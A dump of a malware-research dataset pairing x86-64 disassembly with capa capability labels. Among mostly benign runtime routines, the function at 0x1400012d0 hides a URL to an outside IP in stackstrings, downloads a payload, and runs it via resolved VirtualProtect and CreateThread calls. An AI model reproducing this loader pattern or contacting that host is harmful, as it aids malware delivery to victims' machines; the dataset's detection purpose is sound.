joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14001b9dc
Capabilities:
Terminate process

Disassembly:
mov qword [rsp + 8], rsi
mov qword [rsp + 0x10], rdi
push r12
sub rsp, 0xb0
and dword [rsp + 0x20], 0
lea rcx, [rsp + 0x40]
call qword [sym.imp.d_GetStartupInfoW]
nop
mov rax, qword gs:[0x30]
mov rdi, qword [rax + 8]
xor esi, esi
xor eax, eax
lock cmpxchg qword [0x140025f48], rdi
je 0x14001ba35
cmp rax, rdi
jne 0x14001ba28
mov esi, 1
jmp 0x14001ba35
mov ecx, 0x3e8
call qword [sym.imp.d_Sleep]
jmp 0x14001ba0f
mov eax, dword [0x140025f40]
cmp eax, 1
jne 0x14001ba4a
lea ecx, [rax + 0x1e]
call fcn.14001be30
jmp 0x14001baaf
mov eax, dword [0x140025f40]
test eax, eax
jne 0x14001baa5
mov dword [0x140025f40], 1
lea r12, [0x14001d7d0]
lea rdi, [0x14001d7b8]
mov qword [rsp + 0x38], rdi
mov dword [rsp + 0x30], eax
cmp rdi, r12
jae 0x14001ba97
test eax, eax
jne 0x14001ba97
mov rcx, qword [rdi]
test rcx, rcx
je 0x14001ba8c
call rcx
mov dword [rsp + 0x30], eax
add rdi, 8
mov qword [rsp + 0x38], rdi
jmp 0x14001ba75
test eax, eax
je 0x14001baaf
mov eax, 0xff
jmp 0x14001bbf9
mov dword [0x140023f14], 1
mov eax, dword [0x140025f40]
cmp eax, 1
jne 0x14001bad7
lea rdx, [0x14001d7b0]
lea rcx, [0x14001d710]
call fcn.14001be2a
mov dword [0x140025f40], 2
test esi, esi
jne 0x14001bae4
xor eax, eax
xchg qword [0x140025f48], rax
cmp qword [0x140025f50], 0
je 0x14001bb0d
lea rcx, [0x140025f50]
call fcn.14001bde8
test eax, eax
je 0x14001bb0d
xor r8d, r8d
lea edx, [r8 + 2]
xor ecx, ecx
call qword [0x140025f50]
mov rax, qword [0x14001d6a8]
mov rdi, qword [rax]
mov qword [rsp + 0x28], rdi
mov esi, dword [rsp + 0x20]
cmp byte [rdi], 0x20
ja 0x14001bb98
cmp byte [rdi], 0
je 0x14001bb2e
test esi, esi
jne 0x14001bb98
cmp byte [rdi], 0
je 0x14001bb42
cmp byte [rdi], 0x20
ja 0x14001bb42
inc rdi
mov qword [rsp + 0x28], rdi
jmp 0x14001bb2e
test byte [rsp + 0x7c], 1
movzx eax, word [rsp + 0x80]
mov r9d, 0xa
cmovne r9d, eax
mov r8, rdi
xor edx, edx
lea rcx, [0x140000000]
call fcn.140009a18
mov dword [0x140023f10], eax
cmp dword [0x140023ef4], 0
jne 0x14001bb81
mov ecx, eax
call qword [0x14001d6a0]
cmp dword [0x140023f14], 0
jne 0x14001bb96
call qword [0x14001d698]
mov eax, dword [0x140023f10]
jmp 0x14001bbf9
cmp byte [rdi], 0x22
jne 0x14001bbaa
xor eax, eax
test esi, esi
sete al
mov esi, eax
mov dword [rsp + 0x20], eax
movzx ecx, byte [rdi]
call qword [0x14001d690]
test eax, eax
je 0x14001bbbf
inc rdi
mov qword [rsp + 0x28], rdi
inc rdi
mov qword [rsp + 0x28], rdi
jmp 0x14001bb20
lea r11, [rsp + 0xb0]
mov rsi, qword [r11 + 0x10]
mov rdi, qword [r11 + 0x18]
mov rsp, r11
pop r12
ret
sub rsp, 0x28
call fcn.14001bedc
add rsp, 0x28
jmp 0x14001b9dc

Function at 0x14001be3c
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x18
xor edx, edx
cmp rcx, rdx
je 0x14001be89
cmp rcx, 0xffffffffffffffff
je 0x14001be89
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x14001be81
cmp dword [rcx + 0x3c], edx
jl 0x14001be81
cmp dword [rcx + 0x3c], 0x10000000
jae 0x14001be81
movsxd rax, dword [rcx + 0x3c]
add rax, rcx
mov qword [rsp], rax
cmp dword [rax], 0x4550
cmovne rax, rdx
mov rdx, rax
mov qword [rsp], rax
jmp 0x14001be89
mov rax, rdx
add rsp, 0x18
ret
Function at 0x140001000
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
movsxd rax, dword [rcx + 0x3c]
xor r8d, r8d
mov r10, rcx
mov edx, dword [rax + rcx + 0x88]
add rdx, rcx
mov r11d, dword [rdx + 0x1c]
mov ebx, dword [rdx + 0x20]
mov ebp, dword [rdx + 0x24]
mov r9d, dword [rdx + 0x18]
add r11, rcx
add rbx, rcx
add rbp, rcx
test r9, r9
je 0x140001076
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
movzx eax, word [rbp + r8*2]
mov esi, dword [rbx + r8*4]
lea rdi, [0x1400094f0]
mov eax, dword [r11 + rax*4]
add rsi, r10
mov ecx, 0xf
add rax, r10
repe cmpsb byte [rsi], byte [rdi]
je 0x14000106c
inc r8
cmp r8, r9
jb 0x140001040
mov rsi, qword [rsp + 0x10]
mov rdi, qword [rsp + 0x18]
mov rbx, qword [rsp + 0x20]
pop rbp
ret

Function at 0x1400012d0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push rbp
push r13
lea rbp, [rsp - 0x4f]
sub rsp, 0x88
xor r13d, r13d
lea r8, [rbp - 9]
lea rdx, [rbp - 1]
lea rcx, [rbp + 7]
mov dword [rbp + 7], 0x740068
mov dword [rbp + 0xb], 0x700074
mov dword [rbp + 0xf], 0x2f003a
mov dword [rbp + 0x13], 0x38002f
mov dword [rbp + 0x17], 0x31002e
mov dword [rbp + 0x1b], 0x340033
mov dword [rbp + 0x1f], 0x32002e
mov dword [rbp + 0x23], 0x330032
mov dword [rbp + 0x27], 0x32002e
mov dword [rbp + 0x2b], 0x340031
mov dword [rbp + 0x2f], 0x74002f
mov dword [rbp + 0x33], 0x740061
mov word [rbp + 0x37], r13w
mov qword [rbp - 1], r13
mov dword [rbp - 9], r13d
call fcn.140001080
test al, al
jne 0x140001382
lea r9d, [r13 + 0x10]
lea r8, str.Error
lea rdx, str.Failed_to_download_the_file_
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
lea eax, [r13 + 1]
add rsp, 0x88
pop r13
pop rbp
ret
mov qword [rsp + 0xa0], rbx
mov qword [rsp + 0xa8], rsi
mov qword [rsp + 0xb0], rdi
mov qword [rsp + 0x80], r12
call fcn.140001460
mov rcx, qword [rax + 0x40]
cmp word [rcx + 0x18], r13w
je 0x1400013c0
mov rax, qword [rax]
mov rcx, qword [rax + 0x40]
cmp word [rcx + 0x18], r13w
jne 0x1400013b2
mov rdi, qword [rax + 0x10]
mov rcx, rdi
call section..text
lea rdx, str.VirtualProtect
mov rcx, rdi
mov rbx, rax
call rbx
lea rdx, str.CreateThread
mov rcx, rdi
mov rsi, rax
call rbx
lea rdx, str.WaitForSingleObject
mov rcx, rdi
mov r12, rax
call rbx
mov rbx, qword [rbp - 1]
mov edx, 8
lea r8d, [rdx + 0x38]
lea r9, [rbp - 5]
mov rcx, rbx
mov rdi, rax
call rsi
xor r9d, r9d
mov r8, rbx
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x28], r13
mov dword [rsp + 0x20], r13d
call r12
mov rcx, rax
or edx, 0xffffffff
call rdi
mov r12, qword [rsp + 0x80]
mov rdi, qword [rsp + 0xb0]
mov rsi, qword [rsp + 0xa8]
mov rbx, qword [rsp + 0xa0]
xor eax, eax
add rsp, 0x88
pop r13
pop rbp
ret

Function at 0x140001460
Capabilities:
Access peb ldr_data
Get ntdll base address

Disassembly:
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x30]
ret

Function at 0x140001fd8
Capabilities:
Terminate process

Disassembly:
xor r8d, r8d
xor edx, edx
jmp fcn.140001e48
Function at 0x140004388
Capabilities:
Link many functions at runtime

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
sub rsp, 0x50
mov rax, qword [0x14000b4d0]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov ebp, r8d
mov r14, rdx
mov r13, rcx
call fcn.140002ebc
xor ebx, ebx
cmp qword [0x14000cab8], rbx
mov rdi, rax
jne 0x14000449b
lea rcx, str.USER32.DLL
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rsi, rax
test rax, rax
je 0x140004572
lea rdx, [0x140007f48]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x140004572
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetActiveWindow
mov rcx, rsi
mov qword [0x14000cab8], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetLastActivePopup
mov rcx, rsi
mov qword [0x14000cac0], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetUserObjectInformationW
mov rcx, rsi
mov qword [0x14000cac8], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
mov r11, rax
mov qword [0x14000cad8], rax
test rax, rax
je 0x140004492
lea rdx, str.GetProcessWindowStation
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
mov qword [0x14000cad0], rax
jmp 0x1400044a2
mov rax, qword [0x14000cad0]
jmp 0x1400044a9
mov rax, qword [0x14000cad0]
mov r11, qword [0x14000cad8]
cmp rax, rdi
je 0x140004510
cmp r11, rdi
je 0x140004510
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov rcx, qword [0x14000cad8]
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov r12, rax
test rsi, rsi
je 0x140004510
test rax, rax
je 0x140004510
call rsi
test rax, rax
je 0x14000450a
lea rcx, [rsp + 0x30]
mov r9d, 0xc
lea r8, [rsp + 0x38]
mov qword [rsp + 0x20], rcx
lea edx, [r9 - 0xb]
mov rcx, rax
call r12
test eax, eax
je 0x14000450a
test byte [rsp + 0x40], 1
jne 0x140004510
bts ebp, 0x15
jmp 0x140004550
mov rcx, qword [0x14000cac0]
cmp rcx, rdi
je 0x140004550
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x140004550
call rax
mov rbx, rax
test rax, rax
je 0x140004550
mov rcx, qword [0x14000cac8]
cmp rcx, rdi
je 0x140004550
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x140004550
mov rcx, rbx
call rax
mov rbx, rax
mov rcx, qword [0x14000cab8]
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x140004572
mov r9d, ebp
mov r8, r14
mov rdx, r13
mov rcx, rbx
call rax
jmp 0x140004574
xor eax, eax
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.1400047c0
add rsp, 0x50
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x14000582f
Capabilities:
Terminate process

Disassembly:
cmp rcx, qword [0x14000b4d0]
jne 0x1400047da
rol rcx, 0x10
test cx, 0xffff
jne 0x1400047d6
repz ret
ror rcx, 0x10
jmp 0x140005788
mov qword [rsp + 8], rcx
sub rsp, 0x88
lea rcx, [0x14000cc10]
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov rax, qword [0x14000cd08]
mov qword [rsp + 0x58], rax
xor r8d, r8d
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call sub.KERNEL32.dll_RtlLookupFunctionEntry
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x14000580d
mov qword [rsp + 0x38], 0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rax, [0x14000cc10]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
xor ecx, ecx
call sub.KERNEL32.dll_RtlVirtualUnwind
jmp 0x14000582f
mov rax, qword [rsp + 0x88]
mov qword [0x14000cd08], rax
lea rax, [rsp + 0x88]
add rax, 8
mov qword [0x14000cca8], rax
mov rax, qword [0x14000cd08]
mov qword [0x14000cb80], rax
mov rax, qword [rsp + 0x90]
mov qword [0x14000cc90], rax
mov dword [0x14000cb70], 0xc0000409
mov dword [0x14000cb74], 1
mov rax, qword [0x14000b4d0]
mov qword [rsp + 0x68], rax
mov rax, qword [0x14000b4d8]
mov qword [rsp + 0x70], rax
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov dword [0x14000cc08], eax
mov ecx, 1
call fcn.14000566c
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [0x140008c48]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x14000cc08], 0
jne 0x1400058b6
mov ecx, 1
call fcn.14000566c
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x88
ret
Function at 0x414100
Capabilities:
Access peb ldr_data

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x41428b
push rbp
mov rbp, rsp
sub rsp, 0x48
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], rbx
mov rcx, qword [sym.imp.kernel32.dll_VirtualFree]
mov qword [rsp], rcx
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], 0x4000
call fcn.00430220
xorps xmm15, xmm15
mov r14, qword [0x00599690]
mov r14, qword gs:[r14]
mov r14, qword [r14]
cmp qword [rsp + 0x20], 0
jne 0x414165
mov rax, qword [rsp + 0x58]
mov rbx, qword [rsp + 0x60]
jmp 0x414174
add rsp, 0x48
pop rbp
ret
sub rcx, rbx
add rax, rbx
mov rbx, rcx
test rbx, rbx
jbe 0x414193
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x40], rax
mov rcx, rbx
jmp 0x4141a3
cmp rbx, 0x1000
jae 0x41416b
jmp 0x41420d
add rsp, 0x48
pop rbp
ret
shr rbx, 1
and rbx, 0xfffffffffffff000
mov qword [rsp + 0x38], rbx
cmp rbx, 0x1000
jae 0x4141b5
xor edx, edx
jmp 0x414204
mov rcx, qword [sym.imp.kernel32.dll_VirtualFree]
mov qword [rsp], rcx
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], 0x4000
call fcn.00430220
xorps xmm15, xmm15
mov r14, qword [0x00599690]
mov r14, qword gs:[r14]
mov r14, qword [r14]
cmp qword [rsp + 0x20], 0
sete al
mov rcx, qword [rsp + 0x28]
mov rbx, qword [rsp + 0x38]
mov edx, eax
mov rax, qword [rsp + 0x40]
test dl, dl
jne 0x414199
jmp 0x414188
call fcn.0045ec20
xorps xmm15, xmm15
mov r14, qword [0x00599690]
mov r14, qword gs:[r14]
mov r14, qword [r14]
mov eax, dword [rsp]
mov qword [rsp + 0x30], rax
call fcn.00434620
lea rax, [0x004ad442]
mov ebx, 0x18
nop dword [rax]
call fcn.00434ea0
mov rax, qword [rsp + 0x38]
call fcn.00434be0
lea rax, [0x004ad753]
mov ebx, 0x19
nop dword [rax + rax]
call fcn.00434ea0
mov rax, qword [rsp + 0x30]
call fcn.00434be0
call fcn.00434860
call fcn.00434680
lea rax, [0x004af3bb]
mov ebx, 0x21
call fcn.00432c80
nop
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
call fcn.0045b560
mov rax, qword [rsp + 8]
mov rbx, qword [rsp + 0x10]
jmp fcn.00414100
Function at 0x4142c0
Capabilities:
Access peb ldr_data

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x4144e6
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], rbx
mov rcx, qword [sym.imp.kernel32.dll_VirtualAlloc]
mov qword [rsp], rcx
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], 0x1000
mov qword [rsp + 0x20], 4
call fcn.004302a0
xorps xmm15, xmm15
mov r14, qword [0x00599690]
mov r14, qword gs:[r14]
mov r14, qword [r14]
mov rax, qword [rsp + 0x60]
mov rcx, rax
cmp qword [rsp + 0x28], rax
je 0x414333
mov rbx, qword [rsp + 0x68]
mov rax, rbx
jmp 0x414342
add rsp, 0x50
pop rbp
ret
sub rdx, rbx
add rcx, rbx
mov rbx, rdx
test rbx, rbx
jbe 0x414365
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x48], rcx
mov rdx, rbx
jmp 0x414375
cmp rbx, 0x1000
jae 0x414339
nop
jmp 0x4143f8
add rsp, 0x50
pop rbp
ret
shr rbx, 1
and rbx, 0xfffffffffffff000
mov qword [rsp + 0x38], rbx
nop word [rax + rax]
cmp rbx, 0x1000
jae 0x41438d
xor esi, esi
jmp 0x4143ea
mov rax, qword [sym.imp.kernel32.dll_VirtualAlloc]
mov qword [rsp], rax
mov qword [rsp + 8], rcx
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], 0x1000
mov qword [rsp + 0x20], 4
call fcn.004302a0
xorps xmm15, xmm15
mov r14, qword [0x00599690]
mov r14, qword gs:[r14]
mov r14, qword [r14]
cmp qword [rsp + 0x28], 0
sete al
mov rcx, qword [rsp + 0x48]
mov rdx, qword [rsp + 0x40]
mov rbx, qword [rsp + 0x38]
mov esi, eax
mov rax, qword [rsp + 0x68]
test sil, sil
jne 0x41436b
jmp 0x414356
call fcn.0045ec20
xorps xmm15, xmm15
mov r14, qword [0x00599690]
mov r14, qword gs:[r14]
mov r14, qword [r14]
mov eax, dword [rsp]
mov dword [rsp + 0x34], eax
cmp eax, 8
jne 0x414480
nop dword [rax + rax]
call fcn.00434620
lea rax, [0x004ad76c]
mov ebx, 0x19
call fcn.00434ea0
mov rax, qword [rsp + 0x68]
nop dword [rax + rax]
call fcn.00434be0
lea rax, [0x004ad753]
mov ebx, 0x19
call fcn.00434ea0
mov eax, dword [rsp + 0x34]
call fcn.00434be0
nop
call fcn.00434860
call fcn.00434680
lea rax, [0x004aad8c]
mov ebx, 0xd
call fcn.00432c80
nop dword [rax + rax]
cmp eax, 0x5af
je 0x414420
call fcn.00434620
lea rax, [0x004ad76c]
mov ebx, 0x19
call fcn.00434ea0
mov rax, qword [rsp + 0x38]
call fcn.00434be0
lea rax, [0x004ad753]
mov ebx, 0x19
call fcn.00434ea0
mov eax, dword [rsp + 0x34]
nop dword [rax]
call fcn.00434be0
call fcn.00434860
call fcn.00434680
lea rax, [0x004aec75]
mov ebx, 0x1f
nop dword [rax + rax]
call fcn.00432c80
nop
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
call fcn.0045b560
mov rax, qword [rsp + 8]
mov rbx, qword [rsp + 0x10]
nop
jmp fcn.004142c0
Function at 0x41c460
Capabilities:
Hash data using murmur3

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x10
cmp byte [0x00599475], 0
jne 0x41c547
sub rbx, qword [rax + 0x18]
mov rdx, qword [rax + 0x50]
test byte [rdx], al
mov esi, dword [rax + 0x64]
imul rbx, rsi
mov rsi, rbx
shr rbx, 0x20
shr rsi, 0x23
and ebx, 7
mov rdi, rcx
mov rcx, rbx
mov r8d, 1
shl r8d, cl
add rdx, rsi
nop
nop
nop
nop
lock or byte [rdx], r8b
mov rcx, qword [rax + 0x18]
movabs rdx, 0x800000000000
lea rax, [rdx + rcx]
mov rdx, rax
shr rdx, 0x2a
nop
nop
nop
cmp rdx, 0x40
jae 0x41c53a
lea rbx, [0x0056b858]
mov rdx, qword [rbx + rdx*8]
test byte [rdx], al
mov rbx, rcx
shr rbx, 0x10
and ebx, 0x3f
shr rcx, 0xd
and ecx, 7
mov esi, 1
shl esi, cl
shr rax, 0x16
and eax, 0xfffff
mov rax, qword [rdx + rax*8]
test byte [rax], al
movzx edx, byte [rax + rbx + 0x11440]
lea rax, [rax + rbx]
lea rax, [rax + 0x11440]
test sil, dl
jne 0x41c520
lock or byte [rax], sil
mov rax, qword [r14 + 0x30]
mov rax, qword [rax + 0xa0]
test byte [rax], al
add qword [rax + 0x1250], rdi
add rsp, 0x10
pop rbp
ret
mov rax, rdx
mov ecx, 0x40
call fcn.0045d800
lea rax, [0x004b0f59]
mov ebx, 0x2c
call fcn.00432c80
nop
int3

Function at 0x41e820
Capabilities:
Access peb ldr_data

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x41e926
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rsp + 0x70], rcx
mov byte [rsp + 0x17], dil
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], rbx
mov qword [rsp + 0x18], 0
jmp 0x41e863
mov rax, qword [rsp + 0x60]
mov rcx, rdx
mov rbx, qword [rsp + 0x68]
movzx edi, byte [rsp + 0x17]
cmp qword [rsp + 0x18], rbx
jae 0x41e91b
test byte [rax], al
lea rcx, [rax + 0x100b8]
mov ebx, edi
mov rax, rcx
nop dword [rax]
call fcn.0041f600
test rax, rax
je 0x41e91b
movups xmmword [rsp + 0x20], xmm15
movups xmmword [rsp + 0x30], xmm15
movups xmmword [rsp + 0x40], xmm15
lea rcx, [0x0041e960]
mov qword [rsp + 0x20], rcx
lea rdx, [rsp + 0x18]
mov qword [rsp + 0x28], rdx
mov rdx, qword [rsp + 0x60]
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x40], rbx
mov rax, qword [rsp + 0x68]
mov qword [rsp + 0x48], rax
lea rbx, [rsp + 0x20]
mov qword [rsp], rbx
nop dword [rax]
call fcn.0045b420
xorps xmm15, xmm15
mov r14, qword [0x00599690]
mov r14, qword gs:[r14]
mov r14, qword [r14]
mov rdx, qword [rsp + 0x70]
nop dword [rax]
test rdx, rdx
jne 0x41e909
xor eax, eax
jmp 0x41e913
mov rax, qword [rdx]
call rax
mov rdx, qword [rsp + 0x70]
test al, al
je 0x41e851
mov rax, qword [rsp + 0x18]
add rsp, 0x50
pop rbp
ret
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rcx
mov byte [rsp + 0x20], dil
call fcn.0045b560
mov rax, qword [rsp + 8]
mov rbx, qword [rsp + 0x10]
mov rcx, qword [rsp + 0x18]
movzx edi, byte [rsp + 0x20]
jmp fcn.0041e820
Function at 0x42c9a0
Capabilities:
Hash data using murmur3

Disassembly:
cmp rsp, qword [r14 + 0x18]
jbe 0x42cc26
push rbp
mov rbp, rsp
sub rsp, 0x38
test byte [rax], al
mov rcx, qword [rax + 0x1268]
lea rsi, [rax + 0x1278]
sub rcx, rsi
shr rcx, 3
cmp rcx, 0x200
ja 0x42cc1a
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x30], rcx
mov qword [rax + 0x1268], 0
cmp byte [0x00599475], 0
jne 0x42c9fa
xor edx, edx
xor ebx, ebx
jmp 0x42ca40
xor edx, edx
jmp 0x42ca25
mov qword [rsp + 0x28], rdx
mov rcx, qword [rax + rdx*8 + 0x1278]
mov rax, rcx
call fcn.0041bcc0
mov rdx, qword [rsp + 0x28]
inc rdx
mov rax, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x30]
cmp rdx, rcx
jl 0x42c9fe
add rax, 0x1268
call fcn.0042c920
add rsp, 0x38
pop rbp
ret
inc rdx
nop
cmp rdx, rcx
jge 0x42cbb4
mov rsi, qword [rax + rdx*8 + 0x1278]
cmp rsi, 0x1000
jb 0x42ca3b
mov qword [rsp + 0x28], rdx
mov qword [rsp + 0x20], rbx
mov rax, rsi
xor ebx, ebx
mov rcx, rbx
call fcn.00411420
test rax, rax
jne 0x42ca8c
mov rax, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x30]
mov rdx, qword [rsp + 0x28]
mov rbx, qword [rsp + 0x20]
jmp 0x42ca3b
mov rsi, qword [rbx + 0x50]
test byte [rsi], al
mov r8, rcx
shr r8, 3
movzx r9d, byte [rsi + r8]
and ecx, 7
mov r10d, 1
shl r10d, cl
nop
add rsi, r8
test r10b, r9b
je 0x42cacc
mov rax, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x30]
mov rdx, qword [rsp + 0x28]
mov rbx, qword [rsp + 0x20]
jmp 0x42ca3b
nop
lock or byte [rsi], r10b
mov rcx, qword [rbx + 0x18]
movabs rsi, 0x800000000000
lea r8, [rsi + rcx]
mov r9, r8
shr r8, 0x2a
nop
nop
nop
cmp r8, 0x40
jae 0x42cc0d
lea r10, [0x0056b858]
mov r8, qword [r10 + r8*8]
test byte [r8], al
mov r10, rcx
shr r10, 0x10
and r10d, 0x3f
shr rcx, 0xd
and ecx, 7
mov r11d, 1
shl r11d, cl
shr r9, 0x16
and r9d, 0xfffff
mov r8, qword [r8 + r9*8]
test byte [r8], al
movzx r9d, byte [r8 + r10 + 0x11440]
lea r8, [r8 + r10]
lea r8, [r8 + 0x11440]
test r11b, r9b
jne 0x42cb4f
lock or byte [r8], r11b
movzx r8d, byte [rbx + 0x6a]
test r8b, 1
je 0x42cb85
mov rax, qword [rsp + 0x48]
mov r8, qword [rax + 0x1250]
add r8, qword [rbx + 0x70]
mov qword [rax + 0x1250], r8
mov rcx, qword [rsp + 0x30]
mov rdx, qword [rsp + 0x28]
mov rbx, qword [rsp + 0x20]
jmp 0x42ca3b
mov r8, qword [rsp + 0x20]
mov rcx, qword [rsp + 0x30]
cmp r8, rcx
jae 0x42cc05
mov rbx, qword [rsp + 0x48]
mov qword [rbx + r8*8 + 0x1278], rax
inc r8
mov rax, rbx
mov rdx, qword [rsp + 0x28]
mov rbx, r8
jmp 0x42ca3b
cmp rbx, 0x200
ja 0x42cbf4
lea rdx, [rax + 0x1278]
lea rsi, [rax + 0x1240]
mov rcx, rbx
mov edi, 0x200
mov rbx, rdx
mov rax, rsi
call fcn.004224e0
mov rax, qword [rsp + 0x48]
add rax, 0x1268
call fcn.0042c920
add rsp, 0x38
pop rbp
ret
mov rcx, rbx
mov edx, 0x200
nop dword [rax]
call fcn.0045d860
mov rax, r8
call fcn.0045d7e0
mov rax, r8
mov ecx, 0x40
call fcn.0045d800
mov edx, 0x200
nop
call fcn.0045d840
nop
mov qword [rsp + 8], rax
call fcn.00462020
mov rax, qword [rsp + 8]
jmp fcn.0042c9a0
Function at 0x441740
Capabilities:
Encode data using base64

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x4418a7
push rbp
mov rbp, rsp
sub rsp, 0x18
mov ecx, dword [rax + 0x190]
mov edx, dword [rax + 0x194]
mov rsi, qword [rax + 0x998]
mov edi, dword [rax + 0x194]
cmp edi, edx
jne 0x441752
cmp edx, ecx
jne 0x441895
nop word [rax + rax]
test rsi, rsi
jne 0x441895
mov qword [rsp + 0x28], rax
test rbx, rbx
jne 0x4417b4
nop
call fcn.0045f040
xorps xmm15, xmm15
mov r14, qword [0x00599690]
mov r14, qword gs:[r14]
mov r14, qword [r14]
mov rbx, qword [rsp]
mov rax, qword [rsp + 0x28]
mov qword [rsp + 0x10], rbx
call fcn.00441660
mov rcx, qword [rsp + 0x28]
mov edx, dword [rcx]
mov ebx, edx
sar edx, 0x1f
shr edx, 0x1b
add edx, ebx
mov esi, edx
and edx, 0xffffffe0
sub ebx, edx
test ebx, ebx
jl 0x441890
mov rdx, qword [0x00546688]
sar esi, 5
mov rax, rcx
mov ecx, ebx
mov edi, 1
shl edi, cl
movsxd rsi, esi
cmp ecx, 0x20
sbb r8d, r8d
and edi, r8d
cmp rdx, rsi
jbe 0x441885
mov rcx, qword [0x00546680]
lea rcx, [rcx + rsi*4]
lock or dword [rcx], edi
mov rcx, qword [0x005470f0]
mov qword [rax + 8], rcx
mov rcx, rax
nop
mov qword [0x005470f0], rax
nop
mov edx, 1
lea rsi, [0x005470f8]
lock xadd dword [rsi], edx
mov rdx, qword [rcx + 0x1228]
shr rdx, 0x3d
test dl, dl
jne 0x441873
mov rax, qword [rsp + 0x10]
movabs rdx, 0x1fffffffffffffff
and rdx, rax
bts rdx, 0x3f
nop
nop
xchg qword [rcx + 0x1228], rdx
add rsp, 0x18
pop rbp
ret
lea rax, [0x004b06f0]
mov ebx, 0x28
nop
call fcn.00432c80
mov rax, rsi
mov rcx, rdx
call fcn.0045d7e0
call fcn.00431320
lea rax, [0x004af9f9]
mov ebx, 0x23
call fcn.00432c80
nop
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
call fcn.0045b560
mov rax, qword [rsp + 8]
mov rbx, qword [rsp + 0x10]
jmp fcn.00441740